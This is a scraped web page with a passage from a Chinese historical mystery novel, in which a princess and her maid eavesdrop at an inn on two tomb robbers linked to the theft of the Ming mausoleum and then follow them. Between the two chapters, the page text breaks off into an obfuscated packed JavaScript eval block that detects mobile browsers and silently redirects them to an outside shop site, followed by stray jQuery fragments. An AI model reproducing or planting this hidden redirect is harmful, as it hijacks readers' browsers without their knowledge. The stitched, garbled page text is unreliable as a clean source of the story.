“绿薇。”祝今呼唤了随行的婢女,目光指向了那两个农家打扮的土贼,似乎再距离近一点,就能闻到他们身上的土腥味。
绿薇自然也注意到了这两位,毫不迟疑的将嫌疑放在了他们身上,见那店小二熟稔的招呼起两人,将酒肉放在了他们的面前。
“两位小姐,今夜便在此安歇吧,方圆十里可没有这么好的店了。”店小二和蔼可亲的说道。
祝今心不在焉的点了点头,“那就住在这儿吧,小二,为我们安排两间上房,要临窗风景好的。”
“好嘞!”店小二热切的招呼道,见两人的包袱放在桌上,又客气道,“这些东西,小姐可要小人送入房中?”
“你自去忙吧。”绿薇否定了他的客气,心下灵机一动,又坐下与祝今假意攀谈起了古董之类的东西,将古董商人的身份再一次昭显。
她们的交谈也落在了那几个土贼的眼中,他们眼神咕噜噜的转动,似乎是有了新的思量。
她们两个人也不显山不露水,寻了一间普通的屋子栖身,绿薇妥帖的安顿起了祝今的衣食住行。
她代替了店小二的职责,端着一盆热水为祝今泡脚,又熟稔的将屋子的窗户打开,生怕祝今冬季天冷受了煤气之毒。
“小姐,咱们这么做,是不是多此一举了?”绿薇指的是仅仅因为两个土贼的缘故,就住在了这家客栈。
“你不要小看小人物,我看他们贼眉鼠眼,很像从事土夫子那类职业的,如今谁人都知晓,明陵被盗,这东西到了手里,可不好出手了,有的他们忙。”祝今冷笑一声,“不过一试吧,成与不成,都是无碍。”
“按常理,我们也应该知会此地的郡守、县丞一声。这样子,出了事情,怕是不能以策万全啊。”绿薇又道,她为祝今按摩脚底,那力道令人舒适。
祝今眯着眼,笑了,“别管了,今夜你我好好睡一觉,明天再看。”
说着,她接过了绿薇准备好的毛巾,擦拭了自己沾水的脚掌。
同样的屋子,隔壁住的正是那两个土贼,其中一人正将耳朵贴近了墙壁,仔细的听着什么,或许是听到了什么重要的,忍不住朝着对方挤眉弄眼。
“这丫头片子一口关中雅音,好像还真的是什么京畿的古董商人,我听到她们在说什么明陵被盗,土夫子之类的事情。”土贼李大治说道。
他这没出息的样子引得另外一人嗤之以鼻,他还翘着二郎腿磕着瓜子,嘴里吐出一堆瓜子皮。
“大治,你就是这点儿没出息,就是短时间内出不了货又怎么样?过了几天风声不紧了,咱们照样该偷谁就偷谁,做咱们的逍遥土夫子。”土贼赵兢说道,面上带了几分戏谑。
“我可比不了你,我还等着钱救急呢,这次出了货,我可要好好潇洒潇洒,这活儿真不是人做的,寻龙探穴都要几个月,能找到的好地方都……”话说到半截,李大治正要哀叹几声,这盗墓行业的艰难,却不巧有了意外。
两个人聊的入神,也没有在意门外的脚步声,这时不巧,门外传来了几声敲门声,顿时令这两贼警觉,“谁?大半夜干甚?”
“两位爷,是小的,给两位爷送洗脚水来了……”那小二卑微的解释道。
“去去去!什么洗脚水,早不送?老子都歇下了!”赵兢立马赶人。
“唉唉,那就不打扰二位爷了!”店小二怯怯喏喏的离开了。
那李大治拍了拍胸口,似乎是惊魂未定,“妈的,当贼惯了,一有风吹草动就受不了,这日子什么时候才是一个头啊!”
“你就是贱,受不了这个受不了那个,还不如回家挖地去?”赵兢笑骂道。
“挖地哪能挖出来宝贝呢,你是不知道,这几天传言官家也在挖,我都生怕遇上了,我也有消息渠道,他们好像在寻找什么宝贝一样……”李大治消息灵通,一拍大腿,断言道,“自古打仗没钱,就是不择手段弄钱,指不定这明陵失窃,就是监守自盗呢,反正明陵里埋的又不是他祝家的祖宗……”
他刻意压低了声音,可这种推论让赵兢兢兢战战,显然这李大治并非表里如一,虽然是一个蠢贼,也是有几分脑子的。
“那咱们管不了,咱们只是土贼,遇不上官家的人就烧香拜佛了,哪里还能想那么多?你也别想了,赶紧睡觉,明天出货要紧。”
赵兢说道,自行拉了被子,躺下了,空留李大治在那里。
“这当土夫子旧了,黑白颠倒,唉,我晚上还兴奋着呢。”李大治盘腿坐着,硬是没有一丝瞌睡。
“睡吧,睡吧,想那么多干嘛。”李大治却背对着他安歇了,不过片刻,就传出来了呼噜声。
他在听我的墙角,我也在听你的墙角。他们这些话,一字不漏的通过墙壁,被祝今和绿薇听在了耳朵中,一字不漏。
祝今冷哼一声,却是说,“走得早,不如走得巧,果不其然,他们就是干那行当的。”
“但这贼,也太上不了档次了,真的能偷了明陵?他们说,官家也在挖掘明陵,这怎么可能?陛下可是很注重这件事情,要不然也不能命公主探查此案了。”绿薇似有忧虑,接过了祝今手中的帕子,端走了那盆洗脚水。
“坟墓里的事情,谁又能说的清。指不定还不止一批人在偷,那些贼分外胆大,指不定狐假虎威披着官家的皮。”祝今不屑道。
还有一种可能,那就是国库亏空,官家假着借明陵被盗的名义,要对明陵进行抢救性的挖掘,正好官家可以名正言顺的进入明陵,进行盗墓充军之实?
这是祝今的第一直觉,但又不能说出口,思忖片刻,绿薇八成也是这样想的。
“别想了,明天跟着他们看看,总有新收获。”祝今也累了,绿薇去倒了那盆洗脚水,也安歇了下来。</
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13354387|140658||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
p>
一夜稍安无事,再醒来就是第二天的清晨了。
即便是隆冬腊月,黎明的鸡鸣依旧不曾停歇,它们是那么的尽职尽责,鸡鸣过三次,天已经大亮了。
绿薇和祝今起了个大早,梳洗过后,还用过早餐,原本还担心那盗墓贼早起,不方便跟踪,但那却是祝今的白操心了,土夫子黑白颠倒的作息顺序,直到日上三竿,他们才慢悠悠的起床,去楼下吃午饭。
窗牖被绿薇撑起,她的目光不露痕迹的追寻着那两人,目送见那两人远去。
他们两个人也不显山不露水,就像普通的百姓一般,要了些馒头做干粮,还喂了自己的驴子,骑着驴子代步前行。
“他们能去哪里?为什么还要到这龙门镖局的地界儿来?”绿薇问祝今道,“就是销赃,也应该往古董店铺去啊,这里哪里有那种地方。”
“这就无从得知了,显然他们的目的地就是龙门镖局,只是不知道这目标到底是不是龙门镖局了……我是说如果,他们的目标就是龙门镖局呢?我来时便知晓这龙门镖局的总镖头十分喜爱宝物,尤爱古董,这几年不乏献宝讨好之人来此,求他办事。”
“那能求他办什么事情?两个土夫子?”绿薇在原地打转,捏着自己的下巴思考,她似乎从昨天发生的事情里寻觅到了一点灵光,“殿下可还记得昨日那龙门镖局的三公子?我记得他们说什么天一教的金击子!他们会不会也是来寻那金击子的?”
祝今也心下了悟,燕阴关注定白跑了,原来事情的枢纽在这里!
天一教教坛设在秦岭大顶峰,都是些信仰玄黄之术的术士,如果昨日听到的信息是真,那就是那龙门镖局的总镖头将天一教教主金击子奉为座上宾,信他有神通,引得江湖人士纷纷拜访了?
“也不能确信那两人是去龙门镖局的,我们不妨跟上看看?”祝今淡然一笑,“如果真是那样,咱们不妨也备上一二礼物,去拜访这龙门镖局总镖头的贵宾,看看能不能指点一二。”
“殿下又说笑了,如今明陵四周被守灵的禁军围得铁桶一般,这土夫子断然不可能再次得手,世人皆知陛下派了公主亲自督察此案,又怎敢冒着移族之祸,去替土贼销赃呢?再怎么的,也会消停一段时间吧。”绿薇也有考虑,她又回顾过去发生的一切,总能有所收获。
这也是事实,大周的王位来源于禅让,昔日周灵帝年幼禅位给大周丞相祝原,于是才有了这祝家的江山无限,说起来,还是得位不正,仿佛窃国者诸侯一般,更因为如此,皇位传了几代,如今的周帝也必须捍卫着这明陵埋葬的周灵帝,以捍卫这继承皇位的正统性。
“但愿吧,燕阴关那边扑了个空,只要能飞鸽传书,他的消息应该很快就过来了,那时候两边一比对,总有新的收获。”祝今说道。
遂,趁着黎明的微光,两个人跟随着这两个土夫子出发了。